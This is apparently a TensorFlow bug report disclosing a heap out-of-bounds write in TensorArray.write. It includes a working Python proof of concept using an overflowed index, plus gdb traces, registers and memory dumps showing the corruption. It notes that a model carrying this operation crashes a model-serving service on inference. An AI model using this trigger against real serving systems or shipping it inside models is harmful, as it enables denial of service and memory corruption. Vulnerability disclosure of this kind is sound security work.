A heap oob write in TensorArray.write

Issue type

Bug

Have you reproduced the bug with TensorFlow Nightly?

Yes

Source

source

TensorFlow version

tf2.18.0

Custom code

Yes

OS platform and distribution

Ubuntu 22.04.5

Mobile device

No response

Python version

Python 3.10.12

Bazel version

No response

GCC/compiler version

No response

CUDA/cuDNN version

No response

GPU model and memory

No response

Current behavior?

In a model, if there is a lambda layer containing the TensorArray.write operation, the model service will crash after sending data for inference.

Standalone code to reproduce the issue

In a python code, we can varify the vulnerability quickly with the following poc.

import tensorflow as tf

@tf.function()
def foo():
  ta = tf.TensorArray(tf.float32, size=10,dynamic_size=True, clear_after_read=False)
  ta = ta.write(tf.cast(0xffffffff, tf.int32),1)
  return ta.read(1)

a=foo()
print(a)

Relevant log output

## crash

Thread 1 "python" received signal SIGSEGV, Segmentation fault.
0x00007fffebfa5560 in tensorflow::TensorListSetItem::Compute(tensorflow::OpKernelContext*) () from /home/test/ai/keras-h5/tf-venv/lib/python3.10/site-packages/tensorflow/python/platform/../../libtensorflow_cc.so.2
(gdb) bt
#0  0x00007fffebfa5560 in tensorflow::TensorListSetItem::Compute(tensorflow::OpKernelContext*) ()
   from /home/test/tf-venv/lib/python3.10/site-packages/tensorflow/python/platform/../../libtensorflow_cc.so.2
#1  0x00007ffff563d0b9 in tensorflow::(anonymous namespace)::ExecutorState<tensorflow::SimplePropagatorState>::Process(tensorflow::SimplePropagatorState::TaggedNode const&, long) ()
   from /home/test/tf-venv/lib/python3.10/site-packages/tensorflow/python/platform/../../libtensorflow_framework.so.2
#2  0x00007ffff566c844 in std::_Function_handler<void (std::function<void ()>), tensorflow::GraphRunner::Run(tensorflow::Graph*, tensorflow::FunctionLibraryRuntime*, std::vector<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, tensorflow::Tensor>, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, tensorflow::Tensor> > > const&, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > const&, std::vector<tensorflow::Tensor, std::allocator<tensorflow::Tensor> >*)::$_1>::_M_invoke(std::_Any_data const&, std::function<void ()>&&) ()
   from /home/test/tf-venv/lib/python3.10/site-packages/tensorflow/python/platform/../../libtensorflow_framework.so.2
#3  0x00007ffff563bbd7 in tensorflow::(anonymous namespace)::ExecutorState<tensorflow::SimplePropagatorState>::ScheduleReady(absl::lts_20230802::InlinedVector<tensorflow::SimplePropagatorState::TaggedNode, 8ul, std::allocator<tensorflow::SimplePropagatorState::TaggedNode> >*, tensorflow::SimplePropagatorState::TaggedNodeReadyQueue*) ()
   from /home/test/tf-venv/lib/python3.10/site-packages/tensorflow/python/platform/../../libtensorflow_framework.so.2
#4  0x00007ffff563eb8e in tensorflow::(anonymous namespace)::ExecutorState<tensorflow::SimplePropagatorState>::NodeDone(absl::lts_20230802::Status const&, absl::lts_20230802::InlinedVector<tensorflow::SimplePropagatorState::TaggedNode, 8ul, std::allocator<tensorflow::SimplePropagatorState::TaggedNode> >*, tensorflow::NodeExecStatsInterface*, tensorflow::SimplePropagatorState::TaggedNodeR--Type <RET> for more, q to quit, c to continue without paging--q
Quit
(gdb) x/i $rip
=> 0x7fffebfa5560 <_ZN10tensorflow17TensorListSetItem7ComputeEPNS_15OpKernelContextE+576>:	lock decq 0x8(%rbx)
(gdb) i r rbx
rbx            0x151               337
(gdb) x/8gx 0x5555577db870-0x20
0x5555577db850:	0x0000555559a09268	0x0000015555d278d8
0x5555577db860:	0x0000000000000001	【0x0000000000000151】--->rbx
0x5555577db870:	0x0000000000000000	0x0001003000000003
0x5555577db880:	0x0000000000000000	0x0000000000000000

## oob write
It will write a Tensor before the vector address(0x5555577db870).


# r12 is the start of vector, r15 is the index and r14 is the src Tensor which will be written to the index
0x7fffebfa550b <_ZN10tensorflow17TensorListSetItem7ComputeEPNS_15OpKernelContextE+491>:	lea    (%r12,%r15,1),%rbx
0x7fffebfa550f <_ZN10tensorflow17TensorListSetItem7ComputeEPNS_15OpKernelContextE+495>:	movzbl 0xd(%r14),%r13d

(gdb) x/4gx $r14
0x5555599e3170:	0x00005555599ea3f8	0x0000015558132bf8
0x5555599e3180:	0x0000000000000001	0x00005555596e7370
(gdb) i r r12
r12            0x5555577db870      93825028438128
(gdb) i r r15
r15            0xffffffffffffffe0  -32
#before writing
(gdb) x/4gx $rbx
0x5555577db850:	0x0000000000000000	0x0000000000000000
0x5555577db860:	0x00007fffaf2fb1e0	0x0000000000000151

#copy contents of r14 to an oob address rbx
0x7fffebfa5514 <_ZN10tensorflow17TensorListSetItem7ComputeEPNS_15OpKernelContextE+500>:	mov    0x10(%r14),%rax
0x7fffebfa5518 <_ZN10tensorflow17TensorListSetItem7ComputeEPNS_15OpKernelContextE+504>:	mov    %rax,0x10(%r12,%r15,1)
...
0x7fffebfa552c <_ZN10tensorflow17TensorListSetItem7ComputeEPNS_15OpKernelContextE+524>:	vmovups (%r14),%xmm0
0x7fffebfa5531 <_ZN10tensorflow17TensorListSetItem7ComputeEPNS_15OpKernelContextE+529>:	vmovups %xmm0,(%rbx)

#after writing
(gdb) x/4gx 0x5555577db870-0x20
0x5555577db850:	0x00005555599ea3f8	0x0000015558132bf8
0x5555577db860:	0x0000000000000001	0x0000000000000151